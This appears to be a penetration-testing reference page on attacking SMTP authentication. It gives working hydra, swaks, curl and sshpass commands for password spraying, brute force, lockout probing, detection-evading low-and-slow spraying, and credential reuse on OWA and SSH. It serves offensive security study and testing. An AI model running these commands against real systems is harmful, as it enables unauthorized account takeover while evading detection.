# SMTP Credential Attacks

> Exploiting SMTP authentication weaknesses via brute force, credential stuffing, and relay abuse to gain unauthorized mail server access.

- **URL:** https://hackindex.io/services/smtp/exploitation/smtp-credential-attacks
- **Path:** SMTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/smtp/exploitation.md)
- **Published:** 2026-03-29
- **Updated:** 2026-08-11

SMTP credential attacks target AUTH PLAIN and AUTH LOGIN on port 587 when a valid user list is available from [user enumeration](https://hackindex.io/services/smtp/vulnerability-discovery/smtp-user-enumeration). Password spraying (one password across many accounts) is the primary approach to avoid account lockout. Brute force against a single account is only appropriate when lockout is confirmed absent. On Exchange environments, OWA is often a better target than SMTP directly because it has richer error output and session management.

- Confirm AUTH Mechanisms
- Test Default and Common Credentials Manually
- Password Spraying with hydra
- Brute Force Single Account
- Check Lockout Behavior First
- Validate Credentials on Other Services

## Confirm AUTH Mechanisms

Check which AUTH mechanisms are supported before attacking. AUTH PLAIN and LOGIN carry credentials in base64 and are only safe over TLS:

```bash
echo -e 'EHLO test\nQUIT' | nc -nv $TARGET_IP 587 | grep -i auth
# 250-AUTH PLAIN LOGIN
```

```bash
openssl s_client -starttls smtp -connect $TARGET_IP:587 2>/dev/null | grep -i auth
# 250-AUTH PLAIN LOGIN NTLM
```

## Test Default and Common Credentials Manually

Before running bulk attacks, manually test a few common credentials with swaks. This confirms the auth mechanism works and avoids unnecessary lockouts:

```bash
swaks --to admin@$DOMAIN --from admin@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user admin@$DOMAIN --auth-password 'Password123'
# <-  235 2.7.0 Authentication successful
```

```bash
swaks --to admin@$DOMAIN --from admin@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user admin@$DOMAIN --auth-password 'wrongpassword'
# <-  535 5.7.8 Error: authentication failed
```

Note the exact success and failure responses. These are the strings hydra and other tools need to distinguish valid credentials from failed attempts.

## Password Spraying with hydra

Spray one password across all enumerated accounts. Use a delay between attempts to avoid lockout triggers. Start with the most likely passwords: company name + year, season + year, Welcome1, Password1:

```bash
hydra -L /tmp/smtp_users.txt -p 'Password123' -s 587 $TARGET_IP smtp -m TLS -t 5 -W 3
# [587][smtp] host: 10.10.10.50   login: john.smith@company.com   password: Password123
```

```bash
for password in 'Password123' 'Welcome1' 'Company2024!' 'Spring2026'; do
  echo "[*] Spraying: $password"
  hydra -L /tmp/smtp_users.txt -p "$password" -s 587 $TARGET_IP smtp -m TLS -t 3 -W 5 2>/dev/null | grep 'host:'
done
```

## Brute Force Single Account

Only brute force a single account when lockout is confirmed absent through testing. Use a targeted wordlist before trying rockyou:

```bash
hydra -l admin@$DOMAIN -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s 587 $TARGET_IP smtp -m TLS -t 10
```

## Check Lockout Behavior First

Send several deliberate failures and watch for rate limiting or lockout responses before running bulk attacks:

```bash
for i in $(seq 1 6); do echo -n "Attempt $i: "; swaks --to admin@$DOMAIN --from x@x.com --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user admin@$DOMAIN --auth-password 'wrongpass' 2>&1 | grep -oE '(535|421|454|locked|blocked|banned)' | head -1; sleep 1; done
# Attempt 1: 535
# Attempt 2: 535
# Attempt 3: 535
# Attempt 4: 535
# Attempt 5: 535
# Attempt 6: 421
```

A 421 after repeated failures means rate limiting or temporary lockout is active. Reduce hydra thread count (`-t 1`) and increase wait time (`-W 30`), or switch to low-and-slow spraying with one attempt per account per hour to stay under detection thresholds.

## Validate Credentials on Other Services

Successfully cracked SMTP credentials should be tested for reuse across all other services on the target:

```bash
# Test on OWA if Exchange is present
curl -sk -X POST https://$DOMAIN/owa/auth.owa -d "username=john.smith@$DOMAIN&password=Password123&flags=4&forcedownlevel=0" -D - | grep -iE 'location|set-cookie|302'
```

```bash
# Test on SSH
sshpass -p 'Password123' ssh john.smith@$TARGET_IP 'id' 2>/dev/null
```

## References

- [swaks](https://github.com/jetmore/swaks) - SMTP testing tool for manual AUTH testing and credential validation
- [hydra](https://github.com/vanhauser-thc/thc-hydra) - Network login brute force supporting SMTP with TLS